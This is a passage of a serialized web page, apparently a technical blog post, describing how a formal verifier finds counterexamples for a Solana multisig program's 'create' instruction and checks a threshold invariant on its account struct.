}\n",[25436],{"type":25,"tag":115,"props":25437,"children":25438},{"__ignoreMap":7},[25439,25447],{"type":25,"tag":201,"props":25440,"children":25441},{"class":203,"line":204},[25442],{"type":25,"tag":201,"props":25443,"children":25444},{"style":220},[25445],{"type":31,"value":25446},"#[succeeds_if()]\n",{"type":25,"tag":201,"props":25448,"children":25449},{"class":203,"line":226},[25450,25454,25458,25462,25466,25470,25475,25479],{"type":25,"tag":201,"props":25451,"children":25452},{"style":208},[25453],{"type":31,"value":15192},{"type":25,"tag":201,"props":25455,"children":25456},{"style":208},[25457],{"type":31,"value":15197},{"type":25,"tag":201,"props":25459,"children":25460},{"style":214},[25461],{"type":31,"value":8621},{"type":25,"tag":201,"props":25463,"children":25464},{"style":220},[25465],{"type":31,"value":298},{"type":25,"tag":201,"props":25467,"children":25468},{"style":261},[25469],{"type":31,"value":11095},{"type":25,"tag":201,"props":25471,"children":25472},{"style":220},[25473],{"type":31,"value":25474},") { ",{"type":25,"tag":201,"props":25476,"children":25477},{"style":261},[25478],{"type":31,"value":11095},{"type":25,"tag":201,"props":25480,"children":25481},{"style":220},[25482],{"type":31,"value":11100},{"type":25,"tag":34,"props":25484,"children":25485},{},[25486],{"type":31,"value":25487},"Running the solver, we get:",{"type":25,"tag":191,"props":25489,"children":25491},{"code":25490},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[25492],{"type":25,"tag":115,"props":25493,"children":25494},{"__ignoreMap":7},[25495],{"type":31,"value":25490},{"type":25,"tag":34,"props":25497,"children":25498},{},[25499,25501,25506],{"type":31,"value":25500},"This means that ",{"type":25,"tag":115,"props":25502,"children":25504},{"className":25503},[],[25505],{"type":31,"value":5497},{"type":31,"value":25507}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":25,"tag":34,"props":25509,"children":25510},{},[25511],{"type":31,"value":25512},"We can ask the solver to produce a counterexample:",{"type":25,"tag":191,"props":25514,"children":25516},{"code":25515},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[25517],{"type":25,"tag":115,"props":25518,"children":25519},{"__ignoreMap":7},[25520],{"type":31,"value":25515},{"type":25,"tag":34,"props":25522,"children":25523},{},[25524],{"type":31,"value":25525},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":25,"tag":34,"props":25527,"children":25528},{},[25529],{"type":25,"tag":65,"props":25530,"children":25531},{},[25532,25534,25540],{"type":31,"value":25533},"Note also that the verifier decided to use a ",{"type":25,"tag":115,"props":25535,"children":25537},{"className":25536},[],[25538],{"type":31,"value":25539},"SparseVec",{"type":31,"value":25541}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":25,"tag":34,"props":25543,"children":25544},{},[25545],{"type":25,"tag":65,"props":25546,"children":25547},{},[25548,25550,25555,25556,25562,25564,25569,25571,25576],{"type":31,"value":25549},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":25,"tag":115,"props":25551,"children":25553},{"className":25552},[],[25554],{"type":31,"value":5315},{"type":31,"value":12493},{"type":25,"tag":115,"props":25557,"children":25559},{"className":25558},[],[25560],{"type":31,"value":25561},"pop",{"type":31,"value":25563}," are stubbed out to simply panic for the ",{"type":25,"tag":115,"props":25565,"children":25567},{"className":25566},[],[25568],{"type":31,"value":25539},{"type":31,"value":25570}," and if this code tried to do that we would fall back to the concrete ",{"type":25,"tag":115,"props":25572,"children":25574},{"className":25573},[],[25575],{"type":31,"value":18707},{"type":31,"value":25577}," type.",{"type":25,"tag":34,"props":25579,"children":25580},{},[25581],{"type":31,"value":25582},"We can add this to our constraint and try again:",{"type":25,"tag":191,"props":25584,"children":25586},{"code":25585,"language":4486,"meta":7,"className":4487,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[25587],{"type":25,"tag":115,"props":25588,"children":25589},{"__ignoreMap":7},[25590,25598,25635,25642],{"type":25,"tag":201,"props":25591,"children":25592},{"class":203,"line":204},[25593],{"type":25,"tag":201,"props":25594,"children":25595},{"style":220},[25596],{"type":31,"value":25597},"#[succeeds_if(\n",{"type":25,"tag":201,"props":25599,"children":25600},{"class":203,"line":226},[25601,25606,25610,25614,25618,25622,25626,25630],{"type":25,"tag":201,"props":25602,"children":25603},{"style":220},[25604],{"type":31,"value":25605},"    (threshold ",{"type":25,"tag":201,"props":25607,"children":25608},{"style":208},[25609],{"type":31,"value":10349},{"type":25,"tag":201,"props":25611,"children":25612},{"style":4925},[25613],{"type":31,"value":15233},{"type":25,"tag":201,"props":25615,"children":25616},{"style":220},[25617],{"type":31,"value":385},{"type":25,"tag":201,"props":25619,"children":25620},{"style":261},[25621],{"type":31,"value":20913},{"type":25,"tag":201,"props":25623,"children":25624},{"style":220},[25625],{"type":31,"value":24878},{"type":25,"tag":201,"props":25627,"children":25628},{"style":261},[25629],{"type":31,"value":80},{"type":25,"tag":201,"props":25631,"children":25632},{"style":220},[25633],{"type":31,"value":25634},"len()\n",{"type":25,"tag":201,"props":25636,"children":25637},{"class":203,"line":278},[25638],{"type":25,"tag":201,"props":25639,"children":25640},{"style":220},[25641],{"type":31,"value":21755},{"type":25,"tag":201,"props":25643,"children":25644},{"class":203,"line":311},[25645,25649,25653,25657,25661,25665,25669,25673],{"type":25,"tag":201,"props":25646,"children":25647},{"style":208},[25648],{"type":31,"value":15192},{"type":25,"tag":201,"props":25650,"children":25651},{"style":208},[25652],{"type":31,"value":15197},{"type":25,"tag":201,"props":25654,"children":25655},{"style":214},[25656],{"type":31,"value":8621},{"type":25,"tag":201,"props":25658,"children":25659},{"style":220},[25660],{"type":31,"value":298},{"type":25,"tag":201,"props":25662,"children":25663},{"style":261},[25664],{"type":31,"value":11095},{"type":25,"tag":201,"props":25666,"children":25667},{"style":220},[25668],{"type":31,"value":25474},{"type":25,"tag":201,"props":25670,"children":25671},{"style":261},[25672],{"type":31,"value":11095},{"type":25,"tag":201,"props":25674,"children":25675},{"style":220},[25676],{"type":31,"value":11100},{"type":25,"tag":34,"props":25678,"children":25679},{},[25680],{"type":31,"value":25681},"Verification failed again! This time we get a different counterexample:",{"type":25,"tag":191,"props":25683,"children":25685},{"code":25684},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[25686],{"type":25,"tag":115,"props":25687,"children":25688},{"__ignoreMap":7},[25689],{"type":31,"value":25684},{"type":25,"tag":34,"props":25691,"children":25692},{},[25693],{"type":31,"value":25694},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":25,"tag":191,"props":25696,"children":25698},{"code":25697,"language":4486,"meta":7,"className":4487,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[25699],{"type":25,"tag":115,"props":25700,"children":25701},{"__ignoreMap":7},[25702,25709,25744,25765,25772],{"type":25,"tag":201,"props":25703,"children":25704},{"class":203,"line":204},[25705],{"type":25,"tag":201,"props":25706,"children":25707},{"style":220},[25708],{"type":31,"value":25597},{"type":25,"tag":201,"props":25710,"children":25711},{"class":203,"line":226},[25712,25716,25720,25724,25728,25732,25736,25740],{"type":25,"tag":201,"props":25713,"children":25714},{"style":220},[25715],{"type":31,"value":25605},{"type":25,"tag":201,"props":25717,"children":25718},{"style":208},[25719],{"type":31,"value":10349},{"type":25,"tag":201,"props":25721,"children":25722},{"style":4925},[25723],{"type":31,"value":15233},{"type":25,"tag":201,"props":25725,"children":25726},{"style":220},[25727],{"type":31,"value":385},{"type":25,"tag":201,"props":25729,"children":25730},{"style":261},[25731],{"type":31,"value":20913},{"type":25,"tag":201,"props":25733,"children":25734},{"style":220},[25735],{"type":31,"value":24878},{"type":25,"tag":201,"props":25737,"children":25738},{"style":261},[25739],{"type":31,"value":80},{"type":25,"tag":201,"props":25741,"children":25742},{"style":220},[25743],{"type":31,"value":25634},{"type":25,"tag":201,"props":25745,"children":25746},{"class":203,"line":278},[25747,25751,25756,25760],{"type":25,"tag":201,"props":25748,"children":25749},{"style":261},[25750],{"type":31,"value":17117},{"type":25,"tag":201,"props":25752,"children":25753},{"style":220},[25754],{"type":31,"value":25755}," threshold ",{"type":25,"tag":201,"props":25757,"children":25758},{"style":261},[25759],{"type":31,"value":17184},{"type":25,"tag":201,"props":25761,"children":25762},{"style":220},[25763],{"type":31,"value":25764}," 0\n",{"type":25,"tag":201,"props":25766,"children":25767},{"class":203,"line":311},[25768],{"type":25,"tag":201,"props":25769,"children":25770},{"style":220},[25771],{"type":31,"value":21755},{"type":25,"tag":201,"props":25773,"children":25774},{"class":203,"line":330},[25775,25779,25783,25787,25791,25795,25799,25803],{"type":25,"tag":201,"props":25776,"children":25777},{"style":208},[25778],{"type":31,"value":15192},{"type":25,"tag":201,"props":25780,"children":25781},{"style":208},[25782],{"type":31,"value":15197},{"type":25,"tag":201,"props":25784,"children":25785},{"style":214},[25786],{"type":31,"value":8621},{"type":25,"tag":201,"props":25788,"children":25789},{"style":220},[25790],{"type":31,"value":298},{"type":25,"tag":201,"props":25792,"children":25793},{"style":261},[25794],{"type":31,"value":11095},{"type":25,"tag":201,"props":25796,"children":25797},{"style":220},[25798],{"type":31,"value":25474},{"type":25,"tag":201,"props":25800,"children":25801},{"style":261},[25802],{"type":31,"value":11095},{"type":25,"tag":201,"props":25804,"children":25805},{"style":220},[25806],{"type":31,"value":11100},{"type":25,"tag":34,"props":25808,"children":25809},{},[25810],{"type":31,"value":25811},"A third counterexample:",{"type":25,"tag":191,"props":25813,"children":25815},{"code":25814},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[25816],{"type":25,"tag":115,"props":25817,"children":25818},{"__ignoreMap":7},[25819],{"type":31,"value":25814},{"type":25,"tag":34,"props":25821,"children":25822},{},[25823,25825,25831],{"type":31,"value":25824},"Here we see the size of our ",{"type":25,"tag":115,"props":25826,"children":25828},{"className":25827},[],[25829],{"type":31,"value":25830},"members",{"type":31,"value":25832}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":25,"tag":191,"props":25834,"children":25836},{"code":25835,"language":4486,"meta":7,"className":4487,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[25837],{"type":25,"tag":115,"props":25838,"children":25839},{"__ignoreMap":7},[25840,25847,25882,25903,25955,25962],{"type":25,"tag":201,"props":25841,"children":25842},{"class":203,"line":204},[25843],{"type":25,"tag":201,"props":25844,"children":25845},{"style":220},[25846],{"type":31,"value":25597},{"type":25,"tag":201,"props":25848,"children":25849},{"class":203,"line":226},[25850,25854,25858,25862,25866,25870,25874,25878],{"type":25,"tag":201,"props":25851,"children":25852},{"style":220},[25853],{"type":31,"value":25605},{"type":25,"tag":201,"props":25855,"children":25856},{"style":208},[25857],{"type":31,"value":10349},{"type":25,"tag":201,"props":25859,"children":25860},{"style":4925},[25861],{"type":31,"value":15233},{"type":25,"tag":201,"props":25863,"children":25864},{"style":220},[25865],{"type":31,"value":385},{"type":25,"tag":201,"props":25867,"children":25868},{"style":261},[25869],{"type":31,"value":20913},{"type":25,"tag":201,"props":25871,"children":25872},{"style":220},[25873],{"type":31,"value":24878},{"type":25,"tag":201,"props":25875,"children":25876},{"style":261},[25877],{"type":31,"value":80},{"type":25,"tag":201,"props":25879,"children":25880},{"style":220},[25881],{"type":31,"value":25634},{"type":25,"tag":201,"props":25883,"children":25884},{"class":203,"line":278},[25885,25889,25894,25898],{"type":25,"tag":201,"props":25886,"children":25887},{"style":261},[25888],{"type":31,"value":17117},{"type":25,"tag":201,"props":25890,"children":25891},{"style":220},[25892],{"type":31,"value":25893}," (threshold ",{"type":25,"tag":201,"props":25895,"children":25896},{"style":261},[25897],{"type":31,"value":17184},{"type":25,"tag":201,"props":25899,"children":25900},{"style":220},[25901],{"type":31,"value":25902}," 0)\n",{"type":25,"tag":201,"props":25904,"children":25905},{"class":203,"line":311},[25906,25910,25914,25918,25922,25926,25930,25935,25939,25943,25947,25951],{"type":25,"tag":201,"props":25907,"children":25908},{"style":261},[25909],{"type":31,"value":17117},{"type":25,"tag":201,"props":25911,"children":25912},{"style":220},[25913],{"type":31,"value":24494},{"type":25,"tag":201,"props":25915,"children":25916},{"style":261},[25917],{"type":31,"value":80},{"type":25,"tag":201,"props":25919,"children":25920},{"style":220},[25921],{"type":31,"value":22516},{"type":25,"tag":201,"props":25923,"children":25924},{"style":261},[25925],{"type":31,"value":20913},{"type":25,"tag":201,"props":25927,"children":25928},{"style":220},[25929],{"type":31,"value":238},{"type":25,"tag":201,"props":25931,"children":25932},{"style":4925},[25933],{"type":31,"value":25934},"u16",{"type":25,"tag":201,"props":25936,"children":25937},{"style":261},[25938],{"type":31,"value":4988},{"type":25,"tag":201,"props":25940,"children":25941},{"style":4925},[25942],{"type":31,"value":22534},{"type":25,"tag":201,"props":25944,"children":25945},{"style":208},[25946],{"type":31,"value":10335},{"type":25,"tag":201,"props":25948,"children":25949},{"style":4925},[25950],{"type":31,"value":15233},{"type":25,"tag":201,"props":25952,"children":25953},{"style":220},[25954],{"type":31,"value":1086},{"type":25,"tag":201,"props":25956,"children":25957},{"class":203,"line":330},[25958],{"type":25,"tag":201,"props":25959,"children":25960},{"style":220},[25961],{"type":31,"value":21755},{"type":25,"tag":201,"props":25963,"children":25964},{"class":203,"line":397},[25965,25969,25973,25977,25981,25985,25989,25993],{"type":25,"tag":201,"props":25966,"children":25967},{"style":208},[25968],{"type":31,"value":15192},{"type":25,"tag":201,"props":25970,"children":25971},{"style":208},[25972],{"type":31,"value":15197},{"type":25,"tag":201,"props":25974,"children":25975},{"style":214},[25976],{"type":31,"value":8621},{"type":25,"tag":201,"props":25978,"children":25979},{"style":220},[25980],{"type":31,"value":298},{"type":25,"tag":201,"props":25982,"children":25983},{"style":261},[25984],{"type":31,"value":11095},{"type":25,"tag":201,"props":25986,"children":25987},{"style":220},[25988],{"type":31,"value":25474},{"type":25,"tag":201,"props":25990,"children":25991},{"style":261},[25992],{"type":31,"value":11095},{"type":25,"tag":201,"props":25994,"children":25995},{"style":220},[25996],{"type":31,"value":11100},{"type":25,"tag":34,"props":25998,"children":25999},{},[26000],{"type":31,"value":26001},"And now we get:",{"type":25,"tag":191,"props":26003,"children":26005},{"code":26004},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[26006],{"type":25,"tag":115,"props":26007,"children":26008},{"__ignoreMap":7},[26009],{"type":31,"value":26004},{"type":25,"tag":34,"props":26011,"children":26012},{},[26013],{"type":31,"value":26014},"🥳🥳🥳",{"type":25,"tag":34,"props":26016,"children":26017},{},[26018],{"type":31,"value":26019},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":25,"tag":191,"props":26021,"children":26023},{"code":26022,"language":4486,"meta":7,"className":4487,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[26024],{"type":25,"tag":115,"props":26025,"children":26026},{"__ignoreMap":7},[26027,26050,26081],{"type":25,"tag":201,"props":26028,"children":26029},{"class":203,"line":204},[26030,26034,26038,26042,26046],{"type":25,"tag":201,"props":26031,"children":26032},{"style":230},[26033],{"type":31,"value":4105},{"type":25,"tag":201,"props":26035,"children":26036},{"style":246},[26037],{"type":31,"value":24957},{"type":25,"tag":201,"props":26039,"children":26040},{"style":261},[26041],{"type":31,"value":3208},{"type":25,"tag":201,"props":26043,"children":26044},{"style":426},[26045],{"type":31,"value":6029},{"type":25,"tag":201,"props":26047,"children":26048},{"style":220},[26049],{"type":31,"value":327},{"type":25,"tag":201,"props":26051,"children":26052},{"class":203,"line":226},[26053,26057,26061,26065,26069,26073,26077],{"type":25,"tag":201,"props":26054,"children":26055},{"style":230},[26056],{"type":31,"value":18486},{"type":25,"tag":201,"props":26058,"children":26059},{"style":214},[26060],{"type":31,"value":25012},{"type":25,"tag":201,"props":26062,"children":26063},{"style":220},[26064],{"type":31,"value":298},{"type":25,"tag":201,"props":26066,"children":26067},{"style":4925},[26068],{"type":31,"value":25021},{"type":25,"tag":201,"props":26070,"children":26071},{"style":261},[26072],{"type":31,"value":4988},{"type":25,"tag":201,"props":26074,"children":26075},{"style":4925},[26076],{"type":31,"value":25030},{"type":25,"tag":201,"props":26078,"children":26079},{"style":220},[26080],{"type":31,"value":308},{"type":25,"tag":201,"props":26082,"children":26083},{"class":203,"line":278},[26084],{"type":25,"tag":201,"props":26085,"children":26086},{"style":220},[26087],{"type":31,"value":1187},{"type":25,"tag":34,"props":26089,"children":26090},{},[26091,26093,26099,26101,26106,26108,26113,26115,26120],{"type":31,"value":26092},"In this case this is actually redundant because if ",{"type":25,"tag":115,"props":26094,"children":26096},{"className":26095},[],[26097],{"type":31,"value":26098},"members.len() == 0",{"type":31,"value":26100}," then our threshold would also have to be ",{"type":25,"tag":115,"props":26102,"children":26104},{"className":26103},[],[26105],{"type":31,"value":429},{"type":31,"value":26107}," (and our ",{"type":25,"tag":115,"props":26109,"children":26111},{"className":26110},[],[26112],{"type":31,"value":24245},{"type":31,"value":26114}," is not allowed to be ",{"type":25,"tag":115,"props":26116,"children":26118},{"className":26117},[],[26119],{"type":31,"value":429},{"type":31,"value":26121},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":25,"tag":40,"props":26123,"children":26125},{"id":26124},"_2-verify-threshold-requirements",[26126],{"type":31,"value":26127},"2. Verify threshold requirements",{"type":25,"tag":34,"props":26129,"children":26130},{},[26131],{"type":31,"value":26132},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":25,"tag":34,"props":26134,"children":26135},{},[26136,26138,26142],{"type":31,"value":26137},"Unlike the previous example, we want to verify this in ",{"type":25,"tag":65,"props":26139,"children":26140},{},[26141],{"type":31,"value":10804},{"type":31,"value":26143}," cases. I.e. any instruction that could mutate the multisig account.",{"type":25,"tag":34,"props":26145,"children":26146},{},[26147,26149,26153,26155,26160],{"type":31,"value":26148},"In this case, we want to model this as an ",{"type":25,"tag":65,"props":26150,"children":26151},{},[26152],{"type":31,"value":23273},{"type":31,"value":26154}," on the ",{"type":25,"tag":115,"props":26156,"children":26158},{"className":26157},[],[26159],{"type":31,"value":24237},{"type":31,"value":26161}," account struct:",{"type":25,"tag":191,"props":26163,"children":26165},{"code":26164,"language":4486,"meta":7,"className":4487,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[26166],{"type":25,"tag":115,"props":26167,"children":26168},{"__ignoreMap":7},[26169,26176,26201,26208,26232,26283,26290,26309,26336,26363,26390,26417,26444,26471,26498,26533],{"type":25,"tag":201,"props":26170,"children":26171},{"class":203,"line":204},[26172],{"type":25,"tag":201,"props":26173,"children":26174},{"style":220},[26175],{"type":31,"value":22265},{"type":25,"tag":201,"props":26177,"children":26178},{"class":203,"line":226},[26179,26183,26188,26192,26197],{"type":25,"tag":201,"props":26180,"children":26181},{"style":220},[26182],{"type":31,"value":24333},{"type":25,"tag":201,"props":26184,"children":26185},{"style":4925},[26186],{"type":31,"value":26187},"Clone",{"type":25,"tag":201,"props":26189,"children":26190},{"style":220},[26191],{"type":31,"value":919},{"type":25,"tag":201,"props":26193,"children":26194},{"style":4925},[26195],{"type":31,"value":26196},"Debug",{"type":25,"tag":201,"props":26198,"children":26199},{"style":220},[26200],{"type":31,"value":21755},{"type":25,"tag":201,"props":26202,"children":26203},{"class":203,"line":278},[26204],{"type":25,"tag":201,"props":26205,"children":26206},{"style":220},[26207],{"type":31,"value":22273},{"type":25,"tag":201,"props":26209,"children":26210},{"class":203,"line":311},[26211,26216,26220,26224,26228],{"type":25,"tag":201,"props":26212,"children":26213},{"style":220},[26214],{"type":31,"value":26215},"    (self",{"type":25,"tag":201,"props":26217,"children":26218},{"style":261},[26219],{"type":31,"value":80},{"type":25,"tag":201,"props":26221,"children":26222},{"style":220},[26223],{"type":31,"value":22566},{"type":25,"tag":201,"props":26225,"children":26226},{"style":261},[26227],{"type":31,"value":11446},{"type":25,"tag":201,"props":26229,"children":26230},{"style":220},[26231],{"type":31,"value":22575},{"type":25,"tag":201,"props":26233,"children":26234},{"class":203,"line":330},[26235,26239,26243,26247,26251,26255,26259,26263,26267,26271,26275,26279],{"type":25,"tag":201,"props":26236,"children":26237},{"style":261},[26238],{"type":31,"value":17117},{"type":25,"tag":201,"props":26240,"children":26241},{"style":220},[26242],{"type":31,"value":22499},{"type":25,"tag":201,"props":26244,"children":26245},{"style":261},[26246],{"type":31,"value":80},{"type":25,"tag":201,"props":26248,"children":26249},{"style":220},[26250],{"type":31,"value":22566},{"type":25,"tag":201,"props":26252,"children":26253},{"style":208},[26254],{"type":31,"value":10349},{"type":25,"tag":201,"props":26256,"children":26257},{"style":4925},[26258],{"type":31,"value":15233},{"type":25,"tag":201,"props":26260,"children":26261},{"style":261},[26262],{"type":31,"value":9705},{"type":25,"tag":201,"props":26264,"children":26265},{"style":220},[26266],{"type":31,"value":15299},{"type":25,"tag":201,"props":26268,"children":26269},{"style":261},[26270],{"type":31,"value":80},{"type":25,"tag":201,"props":26272,"children":26273},{"style":220},[26274],{"type":31,"value":22478},{"type":25,"tag":201,"props":26276,"children":26277},{"style":261},[26278],{"type":31,"value":80},{"type":25,"tag":201,"props":26280,"children":26281},{"style":220},[26282],{"type":31,"value":22627},{"type":25,"tag":201,"props":26284,"children":26285},{"class":203,"line":397},[26286],{"type":25,"tag":201,"props":26287,"children":26288},{"style":220},[26289],{"type":31,"value":21755},{"type":25,"tag":201,"props":26291,"children":26292},{"class":203,"line":437},[26293,26297,26301,26305],{"type":25,"tag":201,"props":26294,"children":26295},{"style":208},[26296],{"type":31,"value":15192},{"type":25,"tag":201,"props":26298,"children":26299},{"style":208},[26300],{"type":31,"value":22646},{"type":25,"tag":201,"props":26302,"children":26303},{"style":4925},[26304],{"type":31,"value":22651},{"type":25,"tag":201,"props":26306,"children":26307},{"style":220},[26308],{"type":31,"value":327},{"type":25,"tag":201,"props":26310,"children":26311},{"class":203,"line":464},[26312,26316,26320,26324,26328,26332],{"type":25,"tag":201,"props":26313,"children":26314},{"style":208},[26315],{"type":31,"value":22338},{"type":25,"tag":201,"props":26317,"children":26318},{"style":246},[26319],{"type":31,"value":22667},{"type":25,"tag":201,"props":26321,"children":26322},{"style":261},[26323],{"type":31,"value":5997},{"type":25,"tag":201,"props":26325,"children":26326},{"style":4925},[26327],{"type":31,"value":22525},{"type":25,"tag":201,"props":26329,"children":26330},{"style":220},[26331],{"type":31,"value":22680},{"type":25,"tag":201,"props":26333,"children":26334},{"style":4497},[26335],{"type":31,"value":22685},{"type":25,"tag":201,"props":26337,"children":26338},{"class":203,"line":490},[26339,26343,26347,26351,26355,26359],{"type":25,"tag":201,"props":26340,"children":26341},{"style":208},[26342],{"type":31,"value":22338},{"type":25,"tag":201,"props":26344,"children":26345},{"style":246},[26346],{"type":31,"value":22697},{"type":25,"tag":201,"props":26348,"children":26349},{"style":261},[26350],{"type":31,"value":5997},{"type":25,"tag":201,"props":26352,"children":26353},{"style":4925},[26354],{"type":31,"value":22525},{"type":25,"tag":201,"props":26356,"children":26357},{"style":220},[26358],{"type":31,"value":22710},{"type":25,"tag":201,"props":26360,"children":26361},{"style":4497},[26362],{"type":31,"value":22715},{"type":25,"tag":201,"props":26364,"children":26365},{"class":203,"line":499},[26366,26370,26374,26378,26382,26386],{"type":25,"tag":201,"props":26367,"children":26368},{"style":208},[26369],{"type":31,"value":22338},{"type":25,"tag":201,"props":26371,"children":26372},{"style":246},[26373],{"type":31,"value":22727},{"type":25,"tag":201,"props":26375,"children":26376},{"style":261},[26377],{"type":31,"value":5997},{"type":25,"tag":201,"props":26379,"children":26380},{"style":4925},[26381],{"type":31,"value":19046},{"type":25,"tag":201,"props":26383,"children":26384},{"style":220},[26385],{"type":31,"value":22740},{"type":25,"tag":201,"props":26387,"children":26388},{"style":4497},[26389],{"type":31,"value":22745},{"type":25,"tag":201,"props":26391,"children":26392},{"class":203,"line":522},[26393,26397,26401,26405,26409,26413],{"type":25,"tag":201,"props":26394,"children":26395},{"style":208},[26396],{"type":31,"value":22338},{"type":25,"tag":201,"props":26398,"children":26399},{"style":246},[26400],{"type":31,"value":22757},{"type":25,"tag":201,"props":26402,"children":26403},{"style":261},[26404],{"type":31,"value":5997},{"type":25,"tag":201,"props":26406,"children":26407},{"style":4925},[26408],{"type":31,"value":19046},{"type":25,"tag":201,"props":26410,"children":26411},{"style":220},[26412],{"type":31,"value":22710},{"type":25,"tag":201,"props":26414,"children":26415},{"style":4497},[26416],{"type":31,"value":22774},{"type":25,"tag":201,"props":26418,"children":26419},{"class":203,"line":531},[26420,26424,26428,26432,26436,26440],{"type":25,"tag":201,"props":26421,"children":26422},{"style":208},[26423],{"type":31,"value":22338},{"type":25,"tag":201,"props":26425,"children":26426},{"style":246},[26427],{"type":31,"value":22786},{"type":25,"tag":201,"props":26429,"children":26430},{"style":261},[26431],{"type":31,"value":5997},{"type":25,"tag":201,"props":26433,"children":26434},{"style":4925},[26435],{"type":31,"value":16136},{"type":25,"tag":201,"props":26437,"children":26438},{"style":220},[26439],{"type":31,"value":22799},{"type":25,"tag":201,"props":26441,"children":26442},{"style":4497},[26443],{"type":31,"value":22804},{"type":25,"tag":201,"props":26445,"children":26446},{"class":203,"line":550},[26447,26451,26455,26459,26463,26467],{"type":25,"tag":201,"props":26448,"children":26449},{"style":208},[26450],{"type":31,"value":22338},{"type":25,"tag":201,"props":26452,"children":26453},{"style":246},[26454],{"type":31,"value":22816},{"type":25,"tag":201,"props":26456,"children":26457},{"style":261},[26458],{"type":31,"value":5997},{"type":25,"tag":201,"props":26460,"children":26461},{"style":4925},[26462],{"type":31,"value":22352},{"type":25,"tag":201,"props":26464,"children":26465},{"style":220},[26466],{"type":31,"value":22829},{"type":25,"tag":201,"props":26468,"children":26469},{"style":4497},[26470],{"type":31,"value":22834},{"type":25,"tag":201,"props":26472,"children":26473},{"class":203,"line":563},[26474,26478,26482,26486,26490,26494],{"type":25,"tag":201,"props":26475,"children":26476},{"style":208},[26477],{"type":31,"value":22338},{"type":25,"tag":201,"props":26479,"children":26480},{"style":246},[26481],{"type":31,"value":22846},{"type":25,"tag":201,"props":26483,"children":26484},{"style":261},[26485],{"type":31,"value":5997},{"type":25,"tag":201,"props":26487,"children":26488},{"style":4925},[26489],{"type":31,"value":13552},{"type":25,"tag":201,"props":26491,"children":26492},{"style":220},[26493],{"type":31,"value":919},{"type":25,"tag":201,"props":26495,"children":26496},{"style":4497},[26497],{"type":31,"value":22863},{"type":25,"tag":201,"props":26499,"children":26500},{"class":203,"line":572},[26501,26505,26509,26513,26517,26521,26525,26529],{"type":25,"tag":201,"props":26502,"children":26503},{"style":208},[26504],{"type":31,"value":22338},{"type":25,"tag":201,"props":26506,"children":26507},{"style":246},[26508],{"type":31,"value":22875},{"type":25,"tag":201,"props":26510,"children":26511},{"style":261},[26512],{"type":31,"value":5997},{"type":25,"tag":201,"props":26514,"children":26515},{"style":4925},[26516],{"type":31,"value":22884},{"type":25,"tag":201,"props":26518,"children":26519},{"style":220},[26520],{"type":31,"value":1298},{"type":25,"tag":201,"props":26522,"children":26523},{"style":4925},[26524],{"type":31,"value":22893},{"type":25,"tag":201,"props":26526,"children":26527},{"style":220},[26528],{"type":31,"value":22898},{"type":25,"tag":201,"props":26530,"children":26531},{"style":4497},[26532],{"type":31,"value":22903},{"type":25,"tag":201,"props":26534,"children":26535},{"class":203,"line":590},[26536],{"type":25,"tag":201,"props":26537,"children":26538},{"style":220},[26539],{"type":31,"value":1187},{"type":25,"tag":34,"props":26541,"children":26542},{},[26543,26545,26550],{"type":31,"value":26544},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":25,"tag":115,"props":26546,"children":26548},{"className":26547},[],[26549],{"type":31,"value":24237},{"type":31,"value":26551}," object will be checked to ensure that the invariant still holds after modification.",{"type":25,"tag":34,"props":26553,"children":26554},{},[26555,26557,26562],{"type":31,"value":26556},"Let's try this on the ",{"type":25,"tag":115,"props":26558,"children":26560},{"className":26559},[],[26561],{"type":31,"value":24316},{"type":31,"value":26563}," instruction that we've already seen:",{"type":25,"tag":191,"props":26565,"children":26567},{"code":26566},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[26568],{"type":25,"tag":115,"props":26569,"children":26570},{"__ignoreMap":7},[26571],{"type":31,"value":26566},{"type":25,"tag":34,"props":26573,"children":26574},{},[26575,26577,26582],{"type":31,"value":26576},"To ensure this is working, we can test by commenting out this check from ",{"type":25,"tag":115,"props":26578,"children":26580},{"className":26579},[],[26581],{"type":31,"value":24316},{"type":31,"value":5997},{"type":25,"tag":191,"props":26584,"children":26586},{"code":26585,"language":4486,"meta":7,"className":4487,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// 